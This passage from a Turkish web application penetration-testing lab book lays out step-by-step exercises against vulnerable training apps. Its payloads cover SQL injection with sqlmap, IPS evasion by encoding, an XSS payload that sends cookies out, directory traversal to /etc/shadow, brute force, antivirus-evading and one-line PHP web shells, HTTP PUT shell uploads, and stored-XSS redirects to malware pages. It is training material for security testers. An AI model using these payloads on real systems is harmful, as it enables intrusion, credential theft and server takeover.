  55. 55. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 2. Adım: Fonksiyon incelendiğinde, formun gönderilmesi için önemli olanın, geriye döndürdüğü “retval” isimli değişkenin değerinin, “true” ya da “false” olmasıdır. Fonksiyon “return retval” satırına kadar çalıştırılıp, bu satır çalıştırılmadan once, Firebug’da sağ taraftan “retval” değişkeninin değeri true yapılır ve çalıştır butonuna basılır. Bu sayede form başarıyla gönderilmiştir.
  56. 56. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Burp Suite İle İsteğin Kesilip Düzenlendikten SonraGönderilmesi 1. Adım: Giriş sayfası açılır ve tarayıcı proxy olarak Burp Suite’i kullanacak şekilde ayarlanır. İstemci tarafı kontrollere takılmayacak bir kullanıcı adı ve parola ile giriş yapılır ve istek “Burp Suite Proxy” sekmesinde görülür.
  57. 57. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 2. Adım Kullanıcı adına denk gelen parametre(örnekte username), istenildiği şekilde düzenlendikten sonra sunucuya gönderilir. “Params” tabından işlem daha kolay yapılabilir.
  58. 58. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Uygulama No: BGA-WPT-04 Uygulama Adı: İstemci Tarafı Güvenlik Korumalarını Aşma - HTML Form Amaç: Hedef web uygulamasında, html formlarındaki önlemleri atlatmak. Lab senaryosu: En fazla, 20 karakter girilmesine izin veren bir “textarea” nesnesi içeren “html formu” ve bu form ile gönderilen değeri ekrana basan, sunucu tabanlı bir script. Kullanılan Araçlar: ● Burp Suite Free 1.5 Adımlar: 1. Adım: Hedef sayfaya bağlanılır ve formun girdi alanlarındaki en uzun/kısa karakter sayısı, sadece sayısal değer alma gibi, kısıtlamalar tespit edilir. Örnekte, formun “textarea” nesnesine maxlength="20" özelliği atanarak, 20 karakterden fazla yazılması engellenmiştir. Bu durumda, tarayıcıya proxy olarak Burp Suite’in dinlediği adres ve port verilip, form 20 veya daha az karakterle gönderilir.
  59. 59. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 2. Adım: Burp suite’in “Proxy” sekmesinin “Params” alt sekmesinden, istenilen parametrelerin değerleri, kısıtlama olmaksızın değiştirilip Forward butonuna basarak sunucuya yollanır. Uygulama No: BGA-WPT-05 Uygulama Adı: Sqlmap Kullanarak Blind Sqli Veri Çekme Amaç: Hede sistemde tespit edilen blind sqli zafiyetini, sqlmap kullanarak istismar etmek. Lab senaryosu: “Blind sqli” barındıran herhangi bir web uygulaması olabilir, örnekte php ile yazılmış örnek bir sayfave MySQL veritabanı kullanılmıştır. SQLol adlıeğitim/test amaçlıçeşitli “sqli” zafiyetlerini barındıran uygulama da kullanılabilir. Kullanılan Araçlar: ● Sqlmap Adımlar: 1. Adım: Hedef uygulamada, “blind sqli” zafiyeti tespit edilir. Bu aşamada, enjeksiyon noktası, web zafiyet tarayıcıları yardımıyla ya da manuel olarak bulunabilir. Örnekte anlaşılırlık adına, manuel yaklaşım ele alınmıştır. Hedef uygulamaya girildiğinde, “http://localhost/blindsqli.php?name=bg&id=1” veritabanında bulunan geçerli bir isim ve id eşleşmesinde “Beklenen sayfa” ile karşılaşılıyor. Tek başına id değiştirildiğinde
  60. 60. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity “http://localhost/blindsqli.php?name=bg&id=2” veya id yerine ‘ (tek tırnak) girildiğinde “http://localhost/blindsqli.php?name=bg&id=’” “hata sayfası” ile karşılaşılıyor. Bu aşamada, “blind sqli” test etmek için şu yöntem izlenebilir. URL’den id değerine 2-1 (bir) şeklinde, mantıken sonucu 1 edecek bir değer girip, id=1 ile aynı sonucu verip vermediğine bakılabilir. Benzer şekilde “id = 1 and 1=1” ile “id = 1 and 1=2” gibi mantıksal olarak sırasıyla, doğru ve yanlış olması beklenen payloadlar da denenebilir. Örnek uygulamada payloadlar ve çıktıları şu şekildedir. “http://localhost/blindsqli.php?name=bg&id=2-1” “beklenen sayfa” “http://localhost/blindsqli.php?name=bg&id=1 and 1=1” “beklenen sayfa” “http://localhost/blindsqli.php?name=bg&id=1 and 2=1” “hata sayfası” 2. Adım: Manuel olarak, “blind sqli” zafiyetini istismar etmek, harfleri, “binary search” mantığıyla bulmak gerektiğinden, bir haylizahmetli olmaktadır. Öte yandan “sqlmap”kullanarak bu işlem kolayca tamamlanabilir. Terminalden “sqlmap -u "http://192.168.41.132/blindsqli.php?name=bg&id=1" -p id --technique=B -- current-db -v 3” komutu çalıştırılır ve uygulamanın kullandığı veritaban adı öğrenilir. Parametrelerin açıklaması şu şekildedir. -u URL -p zafiyetin olduğu parametre --technique=B sqli türü, B blind anlamında --current-db Uygulamanın mevcut kullandığı veritabanı adı -v ekranda gösterilecek detay seviyesi
  61. 61. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Parametre olarak --current-db yerine sqlmap --help ile görülebilecek bir çok farklı parametre kullanılabilir. Örneğin --dump-all diyerek, veritabanı kullanıcısının erişim hakkı olan bütün veritabanları indirilebilir. SQLol Blind SQLi Zafiyetinin İstismar Edilmesi: 1. Adım: localhost/SQLol/challenges.htm sayfasından “blind luck” görevi seçilir. Burada “blind sqli” “injection string” kutusuna ‘1 or 1=1# ve ‘1 or 1=2# payloadları girilerek denenebilir. Tabi farklı payloadlar da mümkündür. 2. Adım: Açıklığı istismar etmek için, “sqlmap” bir önceki örnekte gösterilen şekilde (sqlmap -u "http://localhost/SQLol/select.php?inject_string=1&sanitization_level=none&sanitization_ty pe=keyword&sanitization_params=&query_results=bool&error_level=none&show_query=o n&location=where_string&submit=Inject" -p inject_string --technique=B --current-user -v 3) Çalıştırıldığında, “inject_string” parametresinin zafiyet içermediğini, yani manuel olarak doğruladığımız, blind sqli zafiyetini bulamadığını söyleyecektir. Sqlmap’i aynı parametrelere -- level=5 ve --risk=3 parametrelerini ekleyip daha çeşitli (tabi zararlı da olabilecek) payloadlar denemesi söylenir. Bu sayede “sqlmap” zafiyeti başarıyla istismar edilebilmiştir.
  62. 62. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Uygulama No: BGA-WPT-06 Uygulama Adı: SQLi Kullanarak Giriş Formu Aşma / Authentication Bypass Amaç: Hedef uygulamanın, giriş formundaki “sql injection” zafiyetini istismar ederek, sisteme yetkisiz giriş yapmak. Lab senaryosu: Kullanılan Araçlar: ● Burp Suite Free 1.5 ● Mutillidae Adımlar: 1. Adım: Hedef giriş formu açılır (owasp top 10->A1->bypass auth->login), , kullanıcı adı ve parola alanlarında, sık kullanılan bir payload olan ‘ or ‘1’=’1 denenir. “Mutillidae security Level” 0 için bu payloadın başarıyla çalıştığı görülüyor.
  63. 63. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 2. Adım: Security level 1 olarak ayarlanıp, aynı payload denendiğinde “Dangerous characters detected. We can't allow these.....” diye başlayan bir hata mesajı alınıyor. Mesajın devamında yazdığı üzere, bir çeşit “blacklist” yöntemi uygulanıyor. Bu aşamada tarayıcı “proxy” olarak “burp suite” kullanacak gibi ayarlanır ve payload içermeyen bir giriş isteği gönderilir. “Burp suite” üzerinden yakalanan istek, “password” bölümüne 1. Adımdaki gibi yerleştirilip gönderilir. Bu şekilde, istemci taraflı korumanın aşıldığı görülmektedir. 3. Adım: Farklı payloadları otomatik olarak denemek ve blacklist’in içermediği bir payload bulabilmek için, Burp suite’in “intruder” eklentisi kullanılabilir. Yakalanan istek, burp suit’in intruder eklentisine gönderilir. Girdi noktaları belirlenir (örnekte kısa sürmesi için sadece parola alanı seçilmiştir).
  64. 64. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Payloads tabından denenecek payloadların listesi eklenir. Sıklıkla kullanılan “sqli login” payloadlarının olduğu bir listeye “http://www.architectingsecurity.com/wp- content/uploads/authentication-bypass-list.txt” adresinden ulaşılabilir. Payload “options” bölümünden, “load” tıklanarak, liste yüklenir ve üst menüden “Intruder->start attack” denilerek saldırı başlatılır. Dönen cevaplar(özellikle boyutu farklı olanlar) incelenerek, başarılı olan payloadlardan biri seçilip kullanılarak, sistemyetkisiz giriş yapılır.
  65. 65. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Uygulama No: BGA-WPT-07 Uygulama Adı: Web Testlerinde Saldırı Engelleme Sistemini Atlatma Amaç: Hedef uygulamanın önündeki saldırı engelleme sistemini atlatarak, uygulamadaki zafiyetleri istismar etmek. Lab senaryosu: Internet bağlantısı olan, web tarayıcısı ve wireshark olan, tcpdump benzeri bir paket yakalama yazılımı yüklü, bir bilgisayar. Kullanılan Araçlar: ● tcpdump ● Iceweasel 18 Adımlar: 1. Adım: Saldırı engelleme sistemini tespit etmek için, hedef sisteme bir tane IPS tarafından tanınması beklenen, bir tane de geçmesi beklenen istek yapılır. Örnek olarak “http://www.checkpoint.com/test.php?include=test.exe” şeklinde yapılan istekte, sayfa bulunamadı mesajı alınırken “http://www.checkpoint.com/test.php?include=cmd.exe” isteğinde IPS’in cmd.exe stringini tanımasından dolayı, tarayıcı bağlantı sıfırlandı uyarısı vermektedir. 2. Adım: Bağlantıyısıfırlayanisteği,websunucu ile aramızda bulunan başka bir makinadan(IPS) geldiğini doğrulamak için, “tcpdump -i wlan0 src host www.checkpoint.com -vv -nn” komutu kullanılabilir. Komuttaki wlan0 yerine, internete çıkılan arayüz, www.checkpoint.com yerine de hedef sistem yazılarak, “tcpdump” sadece o adresten gelen cevapları gösterecek şekilde başlatılır. İlk adımdaki istekler, tekrar yapılır. Normalde gelen paketlerin ve “reset flagı” set edilmiş paketin, ttl değerlerinin farklı olduğu gözlenip, IPS doğrulanmış olur.
  66. 66. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 3. Adım: Zafiyetin bulunduğu sayfaya, https üzerinden erişilmeye çalışılır. Örnekte sayfa “https://www.checkpoint.com/test.php?include=cmd.exe” olarak çağırıldığında, reset yerine “sayfa bulunamadı” mesajı görülmüştür. Sebebi, sunucunun önünde bulunan IPS’in, şifreli ssl trafiğini deşifre etmemesi, dolayısıyla zararlı olarak gördüğü string'leri tespit edememesidir. Uygulama No: BGA-WPT-08 Uygulama Adı: Encoding Kullanarak IPS Şaşırtma Amaç: Hedef sistemdeki zafiyeti istismar edecek payloadı, web sunucusunun / veri tabanı sunucusunun anlayacağı ama aradaki saldırı tespit sisteminin tanımlayamayacağı şekilde encode ederek gönderip, saldırı tespit sistemini atlatmak. Lab senaryosu: Üzerinde Mutillidae 2 çalışan linux sistem. iptables kullanılarak “/etc/passwd” string'i engellenmiş olmalı. (iptables -I INPUT -p tcp --dport 80 -m string --algo bm --string '/etc/passwd' -j DROP) Kullanılan Araçlar: ● Iceweasel 18
  67. 67. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Adımlar: 1. Adım: Örnekte mutillidae 2 nin A1->SQLi->Extract Data->User Info bölümündeki sqli zafiyeti kullanılarak, sistemin /etc/passwd dosyası okunmaya çalışılmıştır. Sayfa açılır ve kullanıcı adı bölümüne bgaparola bölümüne de 123'+union+select+1,1,user(),1,1# payloadı girilip, sqli zafiyeti doğrulanır, ve mysql kullanıcısının root olduğu görülür. 2. Adım: Aynı payload user() yerine, load_file('/etc/passwd') yazılarak gönderildiğinde istek iptables tarafından engellenir ve sayfaya erişilemez. 3. Adım: http://yehg.net/encoding/ adresi veya başka bir uygulama kullanılarak /etc/passwd stringi hex encode edilir (Menüden hex encoding -> to MySQL hex seçilerek) ve payload load_file(0x2F6574632F706173737764) şeklinde kullanılarak, IPS atlatılmış olur.
  68. 68. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Uygulama No: BGA-WPT-09 Uygulama Adı: Web Uygulama Testlerinde Encoding Yöntemleri ve Kullanım Alanları Amaç: Web uygulama testlerinde encoding kullanarak gizlilik sağlamak. Lab senaryosu: Reflected XSS zafiyeti bulunan herhangi bir web uygulaması. Örnek olarak $_SERVER[‘PHP_SELF’] değerini sanitize etmeden formun “action” parametresinde kullanan bir PHP scripti kullanılmıştır. Kullanılan Araçlar: ● Iceweasel 18 Adımlar: Web uygulama testlerinde, çeşitli encoding yöntemleri sıklıkla kullanılır. Bu encoding yöntemlerinin tamamına, http://yehg.net/encoding/ adresinden ulaşılabilir. Web uygulama testlerinde, encoding’in başlıca kullanımalanları, şu şekilde sıralanabilir. ● IPS / IDS / WAF atlatma ● Uygulama tabanlı blacklist / regex önlemlerini atlatma ● Log dosyalarının analizini zorlaştırma ● Payloadları daha az şüphe uyandıracak / dikkat çekecek hale getirme.
  69. 69. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 1. Adım: Örnek lab ortamında, istismar edilmek istenilen XSS zafiyetinin test payloadı /" onmouseover="alert(1) olsun. Kurbanın tıklaması gereken tam url http://localhost/phpself.php/" onmouseover="alert(1) şeklinde olacaktır. Görüldüğü üzere buraya /” onmouseover=”document.location=bga.com.tr/kaydet.php?val=+document.cookie gibi gerçek payloadlar yerleştirildiğinde, hem loglar açısından hem de kurban açısından çok dikkat çekici olacaktır. Saldırıyı kamufule etmek için, url encoding kullanılabilir. Payload yehg.net/encoding ya da burp suite’in decoder eklentisi gibi araçlarda bulunan url encoding işleminden geçirildiğinde son hali %22%20%6f%6e%6d%6f%75%73%65%6f%76%65%72%3d%22%61%6c%65%72%74%28 %31%29 şeklinde olacaktır. İstismar işlemi için tam adres de http://localhost/phpself.php%2f%22%20%6f%6e%6d%6f%75%73%65%6f%76%65%72%3d% 22%61%6c%65%72%74%28%31%29 şeklinde olur. Dolayısıyla saldırı daha az dikkat çekecek hale getirilmiş olur.
  70. 70. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Uygulama No: BGA-WPT-10 Uygulama Adı: Google Üzerinden Web Uygulamalarına Ait Girdi Alanlarının Belirlenmesi Amaç: Hedef uygulamadaki girdi alanlarını pratik bir şekilde belirlemek. Lab senaryosu: Internet erişimi olan bir bilgisayar. Kullanılan Araçlar: ● Iceweasel 18 Adımlar: 1. Adım: Bazen, hedef uygulamadaki girdi noktalarını belirlemek için, manuel yöntemler yerine, google benzeri arama motorlarından faydalanmak, daha hızlı sonuca ulaşılmasını sağlayabilir. Tarayıcıdan Google’a girilir ve arama çubuğuna site:domain.com.tr "SQL syntax" sorgusu girilerek hedef alan adı üzerinde sql hatası vermiş ve Google tarafından tanınan sayfalar tespit edilir. Yine arama çubuğuna site:domain.com.tr inurl:admin | inurl:login | inurl:vpn yazılarak admin girişleri, üye girişleri veya vpn erişimleri tespit edilmeye çalışılır. Arama kelimeleri çeşitlendirilerek, daha fazla sonuç elde edilebilir. Uygulama No: BGA-WPT-11 Uygulama Adı: Google Üzerinden Hedef Sisteme Ait Web Platformu Araştırması Amaç: Hedef sistemdeki web platformlarını tespit etmek. Lab senaryosu: Internet erişimi olan bir bilgisayar. Kullanılan Araçlar: ● Iceweasel 18 Adımlar: 1. Adım: Kullanılan web platformlarını tespit etmek için, google yine pratik bir yöntem olarak kullanılmaktadır. Google’ın arama çubuğuna, site:domain.com.tr filetype:asp | filetype:aspx |
  71. 71. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity filetype:jsp | filetype:php sorgusu girilerek hedef sistemdeki php,asp,aspx,jsp uzantılı dosyalar tespit edilir. Dosyatürleri ihtiyaca göre çeşitlendirilip, daha fazlasonuç elde edilebilir. Uygulama No: BGA-WPT-12 Uygulama Adı: Directory Traversal Kullanarak Sistemde Gezinme Amaç: Hedef sistemdeki directory traversal zafiyetini istismar ederek, sistemdeki kritik dosyaları okumak. Lab senaryosu: Directory traversal zafiyeti olan bir uygulama. Örnek olarak, http get metodu ilealdığıdosya adının sonuna .css ekleyerek file_get_contents fonksiyonunu çağıranve sonucu geri döndüren bir PHP betiği. Kullanılan Araçlar: ● Iceweasel 18 ● curl 7.19.7 Adımlar: 1. Adım: Directory traversal zafiyeti, uygulama aracılığıyla planlananın dışındaki dosya ve dizinlerin okunmasıdır. Hedef web uygulamasında, yerel dosyaların içeriklerini gösteren(veya benzer işlemler yapan) sayfaya girilir ve farklı dosya isimlerine veya dizin atlama denemelerine karşı verdiği tepkiler gözlenir. Örnek uygulama “http://localhost/dirtraversal.php?cssfile=1” cssfile parametresiyle belirlenen isimdeki css dosyasının içeriğini, ekrana basar. cssfile parametresine, sunucuda bulunmayan bir dosya adı verildiğinde, boş bir sayfa dönmektedir. İlk adımda, css dışında bir dosyayı okuma ihtimali için “http://localhost/dirtraversal.php?cssfile=dirtraversal.php” denenir. Sistem eklenen dosya adının sonuna bir de .css eklediği için girişim başarısız olur. Bunu aşmak için, dosya adının sonuna null karakter’in url encoded versiyonu %00 eklenip, tekrar denenir. “http://localhost/dirtraversal.php?cssfile=dirtraversal.php%00” düzgün çalışmasıbeklensede bazı tarayıcılarda %00 karakterini göndermeme sorunu olabilir ve yine sonuç alınamayabilir. Bu yüzden, en garanti çözüm curl uygulamasını kullanmaktır. curl "http://localhost/dirtraversal.php?cssfile=dirtraversal.php%00"
  72. 72. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity dirtraversal.php dosyasının içeriğinin okunabildiği görülmüştür. 2. Adım: Zafiyet doğrulandıktan sonra, sistemdeki kritik dosyalar okunarak, istismar işlemi gerçekleştirilir. /etc/passwd ve /etc/shadow dosyaları, hedef uygulamanın konfigürasyon dosyalar örn: “../../includes/dbconf.inc” (veri tabanı giriş bilgileri vb. elde etmek için), /etc/sysconfig/network-scripts/ifcfg-eth0 gibi dosyalar okunup, elde edilen bilgilerle, sisteme daha etkili ataklar gerçekleştirilir.
  73. 73. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Uygulama No: BGA-WPT-13 Uygulama Adı: Desteklenen HTTP Metodlarını Belirleme Amaç: Hedef web sunucusunun desteklediği HTTP metodlarını tespit etmek. Lab senaryosu: Herhangi bir web sunucusu kurulu bilgisayar. Örnekte Centos 6 üzerine kurulu Apache 2.2 Kullanılan Araçlar: ● netcat v1.10 (nc) ● nmap v6.25 Adımlar: 1. Adım: Hedef web sunucusuna netcat veya telnet kullanılarak bağlanılır. Örnekte nc tercih edilmiştir. “nc hedefip hedefport” (hedef port standartta http için 80 https için 443 tür). Netcat’e OPTIONS / HTTP/1.0 yazıp ardından 2 kere enter’a basılarak, sunucuya http options isteği gönderilir. Uygulama ana dizinde değilse, “/” yerine “/webapp” yazılır. Desteklenen http metodları, cevapta gözükecektir. Ekran görüntüsünde görüldüğü gibi, bu işlemi otomatik olarak yapan bir nmap scripti de bulunmaktadır. “nmap -p hedefport --script=http-methods.nse hedefip” şeklinde kullanılabilir. Yine hedef uygulama farklı bir dizindeyse “ -script-args http-methods.url- path=/webapp ” parametresi eklenerek belirtilir.
  74. 74. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Uygulama No: BGA-WPT-14 Uygulama Adı: HTTP Yetkilendirme Yöntemleri Kaba Kuvvet Saldırısı(Brute Force Attack) - Basic Authentication Amaç: HTTP Basic Authentication ile korunan sayfanın parolasını, kırıp sayfaya erişim sağlamak. Labsenaryosu: HTTP BasicAuth aktif phpmyadmin sayfası.Basicauthilekorunan herhangi bir dizin olabilir. Kullanılan Araçlar: ● Medusa v2.0 Blogda var: http://blog.bga.com.tr/2011/02/form-tabanl-kimlik-dogrulama-ve-brute.html Adımlar: 1. Adım: HTTP-Form kaba kuvvet(brute force) saldırıları başlığında anlatılan Hydra ile kullanımı çok benzer olan Medusa aracı kullanılarak, http-auth parolaları kırılabilir. Aslında Hydra ile de kırılabilir ancak farklı araçları denemek adına, bu örnekte Medusa kullanılmıştır. İlk olarak HTTP-Auth ile korunan sayfatespit edilir “http://localhost/phpMyAdmin”. Onlinecracking için kullanılabilecek büyüklükte bir wordlist hazırlanır / edinilir. Wordlist hazırlama aşamasında crunch aracı kullanılabilir. Konsoldan “ medusa -M http -m DIR:phpMyAdmin/ -h 192.168.41.132 -u root -P passfile.txt ” komutuyla saldırı başlatılır. Komutun açılımı şöyledir. -M kullanılacak modül(kali için ls -ls /usr/bin/medusa/modules/ şeklinde tüm modüller listelenebilir.) -m Modüle geçirilecek parametreler, DIR korumalı dizini gösterir -h Hedef sistemin ip adresi veya alanadı -u Hedef kullanıcı phpmyadmin için root uygun bir seçim -P denenilecek parolaların bulunduğu dosya
  75. 75. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Uygulama No: BGA-WPT-15 Uygulama Adı: Antivirüsler Tarafından Yakalanmayan PHP Shell Oluşturma Amaç: Dosya yükleme yetkisinin bulunduğu durumlarda, sunucuyu ele geçirmek için antivirüs/IPS/Waf tarafından tanınmayan PHP shell oluşturmak. Lab senaryosu: PHP destekli bir web sunucusu. Örnekte Centos 6 üzerine kurulu Apache 2.2 kullanılmıştır. Kullanılan Araçlar: ● weevely Adımlar: 1. Adım: “ weevely generate.php pass123 sh.php “ komutuyla, parolası pass123 olan ve dosya adı sh.php olan bir php shell oluşturulur. Oluşturulan sh.php dosyasının, antivirüsler tarafından tanınmadığı, virustotal.com gibi toplu tarama yapan adreslerden doğrulanabilir. Oluşturulan sh.php dosyası, sunucuya yüklenir. 2. Adım: “ weevely http://hedefadres/sh.php pass123 “ komutu kullanılarak yüklenen php shell ile şifreli bir bağlantı üzerinden interaktif shell elde edilir. İlk olarak “:system.info” all komutu ile
  76. 76. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity hedef sistem hakkında detaylı bilgi toplamak faydalı olacaktır. Devamında :help ile kullanılabilir modüller listelenip kullanılabilir. Ayrıca, web sunucusu kullanıcısının yetkileri çerçevesinde, standart konsol komutları da kullanılabilir. 3. Adım Eğer, weevely ile başarılı olunamazsa veya shell’i log dosyasına yazmak gibi bazı özel durumlarda, tek satırlık PHP shell’ler de kullanılabilir. ● <?php passthru($_GET[‘cmd’]); ?> ● <?php system($_GET[‘cmd’]); ?> ● <?php echo shell_exec($_GET[‘cmd’]); ?> Referanslar: http://blog.bga.com.tr/2011/11/web-attack-post-exploitation.html
  77. 77. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Uygulama No: BGA-WPT-16 Uygulama Adı: HTTP PUT Desteği Aktif Web Sunucusu Üzerinden Sistem Ele Geçirme Amaç: HTTP PUT desteği aktif ve yazma izni olan bir dizini bulunan web sunucusuna, shell yükleyerek, sistemi ele geçirmek. Lab senaryosu: “upload” isimli webdav aktif ve yazma izni olan bir dizin bulunan apache web sunucusu. Kullanılan Araçlar: ● netcat v1.10 ● msf 4.6.2 ● curl 7.26 Adımlar: 1. Adım: HTTP PUT isteği,web sunucusunda istenileniçerikle bir dosya oluşturmak veya olan dosyaların içeriğini değiştirmek amacıyla kullanılır. Gerek kullanıcıların uygulama aracılığıyla dosya yükleyebildiği dizinler, gerekse erişime açık/sağlanabilen webdav dizinleri, bu iki özelliğin bir arada bulunarak oluşturduğu zafiyet için, bakmaya değer yerlerdir. Hedef sistemin uygun dizinine, HTTP PUT isteği ile, sunucu üzerinde komut çalıştırılmasına imkan verecek kodlar içeren bir dosya yazılır. Örnekte tek satırlık bir php shell yazılmıştır. PUT /upload/sh.php HTTP/1.1 Host: localhost User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Content-Type: text/plain Content-Length: 30 <?php passthru($_GET[cmd]); ?> Olarak hazırlanıp req isimli bir dosyaya kaydedilen istek, “nc hedefIP 80 < req” komutuyla sunucuya gönderilir.
  78. 78. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Geriye dönen cevabın, hedef dosya sunucuda bulunuyorsa 204, bulunmayıp yeni oluşturuluyorsa 201 olması beklenir. Alternatif olarak Metasploit’in http_put yardımcı modülü de kullanılabilir. msfconsole’da “use auxiliary/scanner/http/http_put” ile modüle geçilir. Örnek sistemiçin ayarlar set FILEDATA <?php passthru($_GET[cmd]); ?> set FILENAME sh.php set PATH /upload/ set RHOSTS hedefip set VERBOSE true şeklinde yapılır. setVERBOSEtrue yapılmasıönemlidir. Çünkü dönen HTTP cevabının kodunun gösterilmesini sağlar. Aksi halde, modül doğru çalışsa bile, bazen dosya bulunamadı hatası verebilmektedir. Dolayısıyla saldırının başarılı olup olmadığına, dönen cevaba göre karar vermek, daha garanti bir yöntemdir.
  79. 79. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 2. Adım: Yüklenen shell üzerinden, sunucuda, web sunucusu kullanıcısının yetkisi dahilinde, istenilen komutlar çalıştırılabilir. Komut çalıştırmak için curl normal tarayıcılardan daha kullanışlı olabilmektedir. Örn: curl http://192.168.41.135/upload/sh.php?cmd=whoami ile sunucuda “whoami” komutu çalıştırılır. Uygulama No: BGA-WPT-17 Uygulama Adı: Stored XSS Kullanarak Zararlı Yazılım Barındıran Sayfaya Yönlendirme Amaç: Stored XSS zafiyetini istismar ederek, zafiyetin bulunduğu sayfayı ziyaret eden tüm kullanıcıları, zararlı yazılım barındıran bir adrese yönlendirmek.
  80. 80. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Lab senaryosu: Mutillidae veya stored XSS bulunan başka web uygulaması kurulu web sunucusu. Kullanılan Araçlar: ● Iceweasel 18 Adımlar: 1. Adım: Stored XSS payloadı olarak <script>window.location="http://zararlısayfa.com"</script> girilir ve sayfayı ziyaret eden kullanıcılar, doğrudan “zararlısayfa.com” adresine yönlendirilirler. Eğer, kullanıcının bağlı olduğu sayfayı terk etmeden, dolayısıyla haberi olmadan, başka bir sayfaya bağlanması isteniyorsa, gizli iframe yöntemi kullanılabilir. Bu yöntemde de XSS payloadı olarak (XFS yani cross frame scripting de denilmektedir) <iframe style="position:absolute;top:-9999px" src="http://zararlısayfa.com"/></iframe> kullanılabilir. Test ortamında, payloadın çalıştığını doğrulamak için Mutillidae’nın Persistent XSS bölümünde, blog girdisi olarak girilir. Devamında bloglar listelenirken, tarayıcının durum çubuğunda(resimde sol altta) “zararlısayfa.com adresinden veri yükleniyor” gibi bir mesaj görünüyor olması gerekir.
